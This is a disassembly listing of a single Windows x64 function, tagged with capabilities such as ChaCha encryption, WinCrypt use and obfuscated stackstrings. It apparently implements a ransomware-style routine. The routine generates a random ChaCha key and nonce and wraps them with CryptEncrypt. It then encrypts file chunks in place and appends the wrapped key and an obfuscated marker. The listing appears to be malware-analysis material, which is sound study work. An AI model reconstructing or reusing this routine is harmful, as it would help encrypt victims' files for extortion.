Function at 0x14002a040
Capabilities:
Contain obfuscated stackstrings
Encrypt data using salsa20 or chacha
Encrypt or decrypt via wincrypt
Generate random numbers via winapi
Read file on windows
Write file on windows

Disassembly:
push rbp
push rsi
push rdi
push r14
lea rbp, [rsp - 0x228]
sub rsp, 0x328
mov rax, qword [0x140050008]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov rsi, rcx
mov dword [rsp + 0x70], 0x28
mov r14, rdx
lea rdi, [rbp - 0x80]
xor eax, eax
lea r8, [rbp - 0x38]
mov ecx, 0x40
rep stosb byte [rdi], al
mov rcx, qword [r14]
lea edx, [rax + 0x20]
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x14002a09c
xor eax, eax
jmp 0x14002a5d5
mov rcx, qword [r14]
lea r8, [rbp - 0x40]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x14002a095
mov eax, dword [rbp - 0x38]
mov dword [rbp - 0x70], eax
mov eax, dword [rbp - 0x34]
mov dword [rbp - 0x6c], eax
mov eax, dword [rbp - 0x30]
mov dword [rbp - 0x68], eax
mov eax, dword [rbp - 0x2c]
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x28]
mov dword [rbp - 0x60], eax
mov eax, dword [rbp - 0x24]
mov dword [rbp - 0x5c], eax
mov eax, dword [rbp - 0x20]
mov dword [rbp - 0x58], eax
mov eax, dword [rbp - 0x1c]
mov dword [rbp - 0x54], eax
mov eax, dword [rbp - 0x40]
mov dword [rbp - 0x48], eax
mov eax, dword [rbp - 0x3c]
mov qword [rsp + 0x360], rbx
xor ebx, ebx
mov dword [rbp - 0x44], eax
mov dword [rbp - 0x80], 0x61707865
mov dword [rbp - 0x7c], 0x3320646e
mov dword [rbp - 0x78], 0x79622d32
mov dword [rbp - 0x74], 0x6b206574
mov qword [rbp - 0x50], rbx
mov dword [rsp + 0x40], ebx
movsxd rax, dword [rsp + 0x40]
mov qword [rsp + 0x318], r13
cmp rax, 0x20
jae 0x14002a155
nop
movsxd rax, dword [rsp + 0x40]
lea rdx, [rbp - 0x38]
movsxd rcx, dword [rsp + 0x40]
movzx eax, byte [rdx + rax]
mov byte [rbp + rcx - 0x10], al
inc dword [rsp + 0x40]
movsxd rax, dword [rsp + 0x40]
cmp rax, 0x20
jb 0x14002a130
mov dword [rsp + 0x40], ebx
movsxd rax, dword [rsp + 0x40]
cmp rax, 8
jae 0x14002a195
nop dword [rax]
nop dword [rax + rax]
movsxd rax, dword [rsp + 0x40]
lea rdx, [rbp - 0x40]
movsxd rcx, dword [rsp + 0x40]
movzx eax, byte [rdx + rax]
mov byte [rbp + rcx + 0x10], al
inc dword [rsp + 0x40]
movsxd rax, dword [rsp + 0x40]
cmp rax, 8
jb 0x14002a170
mov rcx, qword [r14 + 8]
lea rax, [rsp + 0x70]
mov dword [rsp + 0x30], 0x20c
mov r13d, 1
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rbp - 0x10]
mov dword [rsp + 0x40], r13d
mov r8d, r13d
mov qword [rsp + 0x20], rax
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x14002a1d9
mov eax, r13d
jmp 0x14002a5c5
xor eax, eax
mov qword [rsp + 0x310], r15
lea rdi, [rbp - 0x38]
mov dword [rsp + 0x60], ebx
mov ecx, 0x20
rep stosb byte [rdi], al
lea rdi, [rbp - 0x40]
mov ecx, 8
rep stosb byte [rdi], al
nop dword [rax]
mov rcx, qword [0x140051d40]
mov edx, 8
mov r8d, 0x100040
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
je 0x14002a200
mov r15d, ebx
cmp dword [rsi + 0x10], ebx
jbe 0x14002a2d0
nop dword [rax]
mov rcx, qword [rsi]
xor r9d, r9d
movsxd rdi, r15d
xor r8d, r8d
imul rdi, qword [rsi + 0x18]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14002a3ab
mov r8d, dword [rsi + 0x14]
lea r9, [rsp + 0x60]
mov rcx, qword [rsi]
mov rdx, r14
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14002a376
mov r9d, dword [rsp + 0x60]
test r9d, r9d
je 0x14002a376
mov r8, r14
lea rcx, [rbp - 0x80]
mov rdx, r14
call fcn.140029a20
mov rcx, qword [rsi]
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14002a3ab
mov r8d, dword [rsp + 0x60]
mov rdx, r14
mov rcx, qword [rsi]
call fcn.140029fa0
test eax, eax
je 0x14002a35a
inc r15d
cmp r15d, dword [rsi + 0x10]
jb 0x14002a230
mov rdi, qword [rsi + 0x20]
test rdi, rdi
je 0x14002a392
mov rcx, qword [rsi]
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14002a3ab
mov rcx, qword [rsi]
lea r9, [rsp + 0x60]
mov r8d, 0x10000
mov qword [rsp + 0x20], rbx
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14002a376
mov r9d, dword [rsp + 0x60]
test r9d, r9d
je 0x14002a376
mov r8, r14
lea rcx, [rbp - 0x80]
mov rdx, r14
call fcn.140029a20
mov rcx, qword [rsi]
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14002a3ab
mov r8d, dword [rsp + 0x60]
mov rdx, r14
mov rcx, qword [rsi]
call fcn.140029fa0
test eax, eax
jne 0x14002a392
mov rcx, qword [0x140051d40]
mov r8, r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 4
jmp 0x14002a5bd
mov rcx, qword [0x140051d40]
mov r8, r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 3
jmp 0x14002a5bd
mov rcx, qword [rsi]
mov r9d, 2
xor r8d, r8d
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
jne 0x14002a3c7
mov rcx, qword [0x140051d40]
mov r8, r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 2
jmp 0x14002a5bd
mov r13, qword [rsi]
mov edi, ebx
mov qword [rsp + 0x320], r12
mov r15d, 0x100
mov r12d, ebx
mov dword [rsp + 0x64], ebx
mov eax, r12d
lea rdx, [rbp - 0x10]
add rdx, rax
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x64]
mov r8d, r15d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14002a41d
mov eax, dword [rsp + 0x64]
test eax, eax
je 0x14002a41d
add r12d, eax
add edi, eax
sub r15d, eax
cmp edi, 0x100
jne 0x14002a3e1
mov byte [rsp + 0x48], bl
mov byte [rsp + 0x49], 0x66
mov byte [rsp + 0x4a], 4
mov byte [rsp + 0x4b], 0x76
mov byte [rsp + 0x4c], 0x45
mov byte [rsp + 0x4d], 0x35
mov byte [rsp + 0x4e], 0x52
mov byte [rsp + 0x4f], 0x59
mov byte [rsp + 0x50], 4
mov byte [rsp + 0x51], 0x69
mov byte [rsp + 0x52], 0x59
mov byte [rsp + 0x53], 0x6d
mov byte [rsp + 0x54], 0x79
mov byte [rsp + 0x55], 0xe
mov byte [rsp + 0x56], 0xe
mov byte [rsp + 0x57], 0xe
mov byte [rsp + 0x58], 0x78
movzx eax, byte [rsp + 0x49]
movzx eax, byte [rsp + 0x48]
test al, al
jne 0x14002a4df
mov rdi, rbx
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rsp + rdi + 0x49]
mov eax, 0x78
sub eax, ecx
imul ecx, eax, 0x27
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + rdi + 0x49], cl
inc rdi
cmp rdi, 0x10
jb 0x14002a490
mov r13, qword [rsi]
mov edi, ebx
mov dword [rsp + 0x68], ebx
mov r15d, 0xf
mov r12d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, r12d
lea rdx, [rsp + 0x49]
add rdx, rax
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x68]
mov r8d, r15d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14002a53a
mov eax, dword [rsp + 0x68]
test eax, eax
je 0x14002a53a
add r12d, eax
add edi, eax
sub r15d, eax
cmp edi, 0xf
jne 0x14002a500
mov r12, qword [rsi]
mov edi, ebx
mov r13d, dword [rsp + 0x40]
mov r15d, ebx
mov dword [rsp + 0x6c], ebx
nop dword [rax + rax]
mov eax, r15d
lea rdx, [rsi + 0x28]
add rdx, rax
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x6c]
mov r8d, r13d
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14002a589
mov eax, dword [rsp + 0x6c]
test eax, eax
je 0x14002a589
add r15d, eax
add edi, eax
sub r13d, eax
cmp edi, 1
jne 0x14002a550
xor eax, eax
lea rdi, [rbp - 0x10]
mov ecx, 0x20c
mov r8, r14
rep stosb byte [rdi], al
lea rdi, [rbp - 0x80]
mov ecx, 0x40
rep stosb byte [rdi], al
mov rcx, qword [0x140051d40]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r12, qword [rsp + 0x320]
xor eax, eax
mov r15, qword [rsp + 0x310]
mov rbx, qword [rsp + 0x360]
mov r13, qword [rsp + 0x318]
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140031880
add rsp, 0x328
pop r14
pop rdi
pop rsi
pop rbp
ret